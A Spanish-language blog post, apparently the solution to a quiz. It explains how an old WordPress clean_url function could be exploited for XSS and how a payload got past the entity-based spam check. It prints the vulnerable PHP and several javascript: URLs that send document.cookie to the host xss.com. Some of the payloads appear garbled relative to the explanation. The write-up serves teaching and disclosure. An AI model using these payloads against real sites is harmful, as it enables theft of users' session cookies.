Filtro de datos – Solución

El código mostrado en el último quiz, en realidad es una función de WordPress que era vulnerable a XSS. Pongo la solución en una nueva entrada porque intentaré describir algunos de los errores que cometí al intentar explotar el bug mencionado en una entrada anterior.

Copio nuevamente la función para ilustrar las explicaciones:

php:
function clean_url( $url ) {
        if ('' == $url) return $url;
        $url = preg_replace('|[^a-z0-9-~+_.?#=!&;,/:%]|i', '', $url);
        $strip = array('%0d', '%0a');
        $url = str_replace($strip, '', $url);
        $url = str_replace(';//', '://', $url);
        $url = (!strstr($url, '://')) ? 'http://'.$url : $url;
        $url = preg_replace('/&([^#])(?![a-z]{2,8};)/', '&1', $url);
        return $url;
}
$u = clean_url($_GET['u']);
echo '<a href="' . $u . '">' . $u . '</a>';

Como se puede observar, los únicos caracteres permitidos son a-z0-9-~+_.?#=!&;,/:% así que había que construir una url que use sólo esos caracteres, luego de probar varias veces, este fue el primer intento que realmente parecía funcionar:

code:
javascript:h=/http:/;h=/xss.com/;q=/s?d=/;location.href=h.source+h+q.source+document.cookie//://

Ese valor para u, pasaba tal cual lo había puesto, pero el problema era que se generaba la siguiente url (notar el detalle http:/) http:/xss.com/s?=..., que funcionaba en las pruebas locales pero no en una instalación normal.

El siguiente intento, fue usar entidades HTML para evitar el filtro:

code:
javascript:location.href="http://xss.com/s?d="+escape(document.cookie)v//://

Inicialmente había puesto las entidades usando sólo 2 dígitos &#34;, pero por la acción de otro filtro, este valor era convertido en &#38;#34;. Una vez advertido de este detalle :), probé con los valores mostrados en este segundo intento y finalmente conseguí que se ejecute javascript al hacer click sobre ese enlace, pero quedaba todavía un pequeño problema: el comentario era considerado spam, gracias a la siguiente porción de código de la función wp_black_list_check.

php:
if ( preg_match_all('/&#(\d+);/', $comment . $author . $url, $chars) ) {
        foreach ($chars[1] as $char) {
                // If it's an encoded char in the normal ASCII set, reject
                if ($char < 128)
                        return true;
        }
}

Esa porción de código marca automáticamente como spam si el comentario, nombre del autor o url contienen una entidad HTML en el que el número después de &# sea menor que 128. Puesto que en el código mostrado se asume que las entidades usan notación decimal, el paso obvio era intentar con la notación hexadecimal:

code:
javascript:location.href="http://xss.com/s?d="+escape(document.cookie)v//://

Finalmente, luego de varios intentos, con este último valor se conseguía evitar todos los filtros sin que el comentario sea considerado como spam.

2 Replies to “Filtro de datos – Solución”

  1. ainsss que deprimente ver como se complica filtrar los datos, hay tantisimas cosas que hay que tomar en cuenta...

    Supuestamente ya corrigieron este hueco en la ultima version de wordpress, habra que bajarsela para ver como lo emparcharon.

    Gracias por los articulos, que aunque no me da para participar, siempre se aprende algo!

Comments are closed.